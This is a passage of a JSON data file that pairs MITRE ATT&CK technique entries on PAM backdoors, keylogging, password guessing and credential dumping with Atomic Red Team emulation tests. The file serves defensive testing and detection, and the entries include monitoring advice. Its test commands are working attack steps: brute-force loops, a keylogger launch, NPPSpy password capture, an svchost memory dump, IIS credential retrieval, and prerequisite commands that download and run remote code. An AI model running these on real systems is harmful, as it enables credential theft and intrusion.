- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules",
- "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020."
- },
- {
- "source_name": "PAM Backdoor",
- "url": "https://github.com/zephrax/linux-pam-backdoor",
- "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020."
- },
- {
- "source_name": "PAM Creds",
- "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/",
- "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020."
- }
- ],
- "modified": "2021-10-17T14:48:33.580Z",
- "name": "Modify Authentication Process: Pluggable Authentication Modules",
- "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so
, which retrieves, sets, and verifies account authentication information in /etc/passwd
and /etc/shadow
.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so
, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/
) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1556.003"
- },
- "atomic_tests": []
- },
- "T1056.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
- "type": "attack-pattern",
- "created": "2020-02-11T18:58:11.791Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.001",
- "url": "https://attack.mitre.org/techniques/T1056/001"
- },
- {
- "external_id": "CAPEC-568",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/568.html"
- },
- {
- "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
- "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
- "source_name": "Adventures of a Keystroke"
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-21T01:30:56.227Z",
- "name": "Input Capture: Keylogging",
- "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Driver: Driver Load",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "root",
- "SYSTEM",
- "User"
- ],
- "identifier": "T1056.001"
- },
- "atomic_tests": [
- {
- "name": "Input Capture",
- "auto_generated_guid": "d9b633ca-8efb-45e6-b838-70f595c6ae26",
- "description": "Utilize PowerShell and external resource to capture keystrokes\n[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)\nProvided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)\n\nUpon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filepath": {
- "description": "Name of the local file, include path.",
- "type": "path",
- "default": "$env:TEMP\\key.log"
- }
- },
- "dependencies": [
- {
- "description": "Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\n",
- "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 \n"
- }
- ],
- "executor": {
- "command": "$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 -LogPath #{filepath}\n",
- "cleanup_command": "Remove-Item $env:TEMP\\key.log -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1110.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Threat Intelligence Center (MSTIC)",
- "Mohamed Kmal"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
- "created": "2020-02-11T18:38:22.617Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1110.001",
- "url": "https://attack.mitre.org/techniques/T1110/001"
- },
- {
- "source_name": "Trend Micro Emotet 2020",
- "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi",
- "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022."
- },
- {
- "source_name": "Cylance Cleaver",
- "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf",
- "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."
- },
- {
- "source_name": "US-CERT TA18-068A 2018",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
- "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/49.html",
- "source_name": "capec",
- "external_id": "CAPEC-49"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
- "modified": "2022-04-19T21:31:44.221Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Brute Force: Password Guessing",
- "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Application Log: Application Log Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1110.001"
- },
- "atomic_tests": [
- {
- "name": "Brute Force Credentials of single Active Directory domain users via SMB",
- "auto_generated_guid": "09480053-2f98-4854-be6e-71ae5f672224",
- "description": "Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user": {
- "description": "Account to bruteforce",
- "type": "string",
- "default": "%username%"
- }
- },
- "executor": {
- "name": "command_prompt",
- "command": "echo Password1> passwords.txt\necho 1q2w3e4r>> passwords.txt\necho Password!>> passwords.txt\necho Spring2022>> passwords.txt\necho ChangeMe!>> passwords.txt\n@FOR /F \"delims=\" %p in (passwords.txt) DO @net use %logonserver%\\IPC$ /user:\"%userdomain%\\#{user}\" \"%p\" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\\IPC$ > NUL\n"
- }
- },
- {
- "name": "Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)",
- "auto_generated_guid": "c2969434-672b-4ec8-8df0-bbb91f40e250",
- "description": "Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user": {
- "description": "Account to bruteforce",
- "type": "string",
- "default": "$ENV:USERNAME"
- },
- "passwords_path": {
- "description": "List of passwords we will attempt to brute force with",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1110.001\\src\\passwords.txt"
- },
- "domain": {
- "description": "Active Directory domain FQDN",
- "type": "string",
- "default": "$env:UserDnsDomain"
- },
- "auth": {
- "description": "authentication method to choose between \"NTLM\" and \"Kerberos\"",
- "type": "string",
- "default": "NTLM"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "if (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n Write-Host \"Only 'NTLM' and 'Kerberos' auth methods are supported\"\n exit 1\n}\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$passwordList = Get-Content -Path #{passwords_path}\nforeach ($password in $passwordList){\n $credz = new-object System.Net.NetworkCredential(\"#{user}\", $password, \"#{domain}\")\n $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n try {\n Write-Host \" [-] Attempting ${password} on account #{user}.\"\n $conn.bind()\n # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n Write-Host \" [!] #{user}:${password} are valid credentials!\"\n } catch {\n Write-Host $_.Exception.Message\n }\n}\nWrite-Host \"End of bruteforce\"\n"
- }
- },
- {
- "name": "Password Brute User using Kerbrute Tool",
- "auto_generated_guid": "59dbeb1a-79a7-4c2a-baf4-46d0f4c761c4",
- "description": "Bruteforce a single user's password from a wordlist\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domaincontroller": {
- "description": "Domain controller where test will be run",
- "type": "string",
- "default": "$ENV:userdnsdomain"
- },
- "domain": {
- "description": "Domain where you will be testing",
- "type": "string",
- "default": "$ENV:userdomain"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "kerbrute.exe must exist in $env:temp\n",
- "prereq_command": "if (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:temp\\kerbrute.exe\"\n"
- },
- {
- "description": "bruteuser.txt must exist in $env:temp\n",
- "prereq_command": "if (test-path $env:temp\\bruteuser.txt){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true\" -outfile \"$env:temp\\bruteuser.txt\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "cd $env:temp\n.\\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\bruteuser.txt TestUser1 \n"
- }
- }
- ]
- },
- "T1003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux",
- "Ed Williams, Trustwave, SpiderLabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:19.735Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003",
- "url": "https://attack.mitre.org/techniques/T1003"
- },
- {
- "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
- "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
- "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
- },
- {
- "url": "https://github.com/mattifestation/PowerSploit",
- "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
- "source_name": "Powersploit"
- },
- {
- "url": "https://msdn.microsoft.com/library/cc228086.aspx",
- "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
- "source_name": "Microsoft DRSR Dec 2017"
- },
- {
- "url": "https://msdn.microsoft.com/library/dd207691.aspx",
- "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
- "source_name": "Microsoft GetNCCChanges"
- },
- {
- "url": "https://wiki.samba.org/index.php/DRSUAPI",
- "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
- "source_name": "Samba DRSUAPI"
- },
- {
- "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
- "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
- "source_name": "Harmj0y DCSync Sept 2015"
- },
- {
- "url": "https://msdn.microsoft.com/library/cc237008.aspx",
- "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
- "source_name": "Microsoft NRPC Dec 2017"
- },
- {
- "url": "https://msdn.microsoft.com/library/cc245496.aspx",
- "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
- "source_name": "Microsoft SAMR"
- },
- {
- "url": "https://adsecurity.org/?p=1729",
- "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
- "source_name": "AdSecurity DCSync Sept 2015"
- }
- ],
- "modified": "2022-03-08T21:00:53.436Z",
- "name": "OS Credential Dumping",
- "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps
, where the
directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Access",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Flow",
- "File: File Access",
- "Process: OS API Execution",
- "Process: Process Creation",
- "Network Traffic: Network Traffic Content",
- "Process: Process Access",
- "Windows Registry: Windows Registry Key Access"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "root"
- ],
- "identifier": "T1003"
- },
- "atomic_tests": [
- {
- "name": "Gsecdump",
- "auto_generated_guid": "96345bfc-8ae7-4b6a-80b7-223200f24ef9",
- "description": "Dump credentials from memory using Gsecdump.\n\nUpon successful execution, you should see domain\\username's followed by two 32 character hashes.\n\nIf you see output that says \"compat: error: failed to create child process\", execution was likely blocked by Anti-Virus. \nYou will receive only error output if you do not run this test from an elevated context (run as administrator)\n\nIf you see a message saying \"The system cannot find the path specified\", try using the get-prereq_commands to download and install Gsecdump first.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "gsecdump_exe": {
- "description": "Path to the Gsecdump executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe"
- },
- "gsecdump_bin_hash": {
- "description": "File hash of the Gsecdump binary file",
- "type": "string",
- "default": "94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC"
- },
- "gsecdump_url": {
- "description": "Path to download Gsecdump binary file",
- "type": "url",
- "default": "https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Gsecdump must exist on disk at specified location (#{gsecdump_exe})\n",
- "prereq_command": "if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\n$parentpath = Split-Path \"#{gsecdump_exe}\"; $binpath = \"$parentpath\\gsecdump-v2b5.exe\"\nIEX(IWR \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1\" -UseBasicParsing)\nif(Invoke-WebRequestVerifyHash \"#{gsecdump_url}\" \"$binpath\" #{gsecdump_bin_hash}){\n Move-Item $binpath \"#{gsecdump_exe}\"\n}\n"
- }
- ],
- "executor": {
- "command": "#{gsecdump_exe} -a\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Credential Dumping with NPPSpy",
- "auto_generated_guid": "9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6",
- "description": "Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.\nAfter user's logging in cleartext password is saved in C:\\NPPSpy.txt.\nClean up deletes the files and reverses Registry changes.\nNPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NPPSpy.dll must be available in local temp directory",
- "prereq_command": "if (Test-Path \"$env:Temp\\NPPSPY.dll\") {exit 0} else {exit 1}",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile \"$env:Temp\\NPPSPY.dll\""
- }
- ],
- "executor": {
- "command": "Copy-Item \"$env:Temp\\NPPSPY.dll\" -Destination \"C:\\Windows\\System32\"\n$path = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\" -Name PROVIDERORDER\n$UpdatedValue = $Path.PROVIDERORDER + \",NPPSpy\"\nSet-ItemProperty -Path $Path.PSPath -Name \"PROVIDERORDER\" -Value $UpdatedValue\n$rv = New-Item -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy -ErrorAction Ignore\n$rv = New-Item -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"Class\" -Value 2 -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"Name\" -Value NPPSpy -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"ProviderPath\" -PropertyType ExpandString -Value \"%SystemRoot%\\System32\\NPPSPY.dll\" -ErrorAction Ignore\necho \"[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\\NPPSpy.txt\"",
- "cleanup_command": "$cleanupPath = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\" -Name PROVIDERORDER\n$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER \n$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''\nSet-ItemProperty -Path $cleanupPath.PSPath -Name \"PROVIDERORDER\" -Value $cleanupUpdatedValue\nRemove-Item -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\" -Recurse -ErrorAction Ignore\nRemove-Item C:\\NPPSpy.txt -ErrorAction Ignore\nRemove-Item C:\\Windows\\System32\\NPPSpy.dll -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Dump svchost.exe to gather RDP credentials",
- "auto_generated_guid": "d400090a-d8ca-4be0-982e-c70598a23de9",
- "description": "The svchost.exe contains the RDP plain-text credentials.\nSource: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/\n\nUpon successful execution, you should see the following file created $env:TEMP\\svchost-exe.dmp.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)\nif($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }\nC:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump $id $env:TEMP\\svchost-exe.dmp full\n",
- "cleanup_command": "Remove-Item $env:TEMP\\svchost-exe.dmp -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)",
- "auto_generated_guid": "6c7a4fd3-5b0b-4b30-a93e-39411b25d889",
- "description": "AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.\n[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "IIS must be installed prior to running the test",
- "prereq_command": "if ((Get-WindowsFeature Web-Server).InstallState -eq \"Installed\") {exit 0} else {exit 1}",
- "get_prereq_command": "Install-WindowsFeature -name Web-Server -IncludeManagementTools"
- }
- ],
- "executor": {
- "command": "C:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@t:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /@text:*\nC:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /text:*",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)",
- "auto_generated_guid": "42510244-5019-48fa-a0e5-66c3b76e6049",
- "description": "AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.\n[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "IIS must be installed prior to running the test",
- "prereq_command": "if ((Get-WindowsFeature Web-Server).InstallState -eq \"Installed\") {exit 0} else {exit 1}",
- "get_prereq_command": "Install-WindowsFeature -name Web-Server -IncludeManagementTools"
- }
- ],
- "executor": {
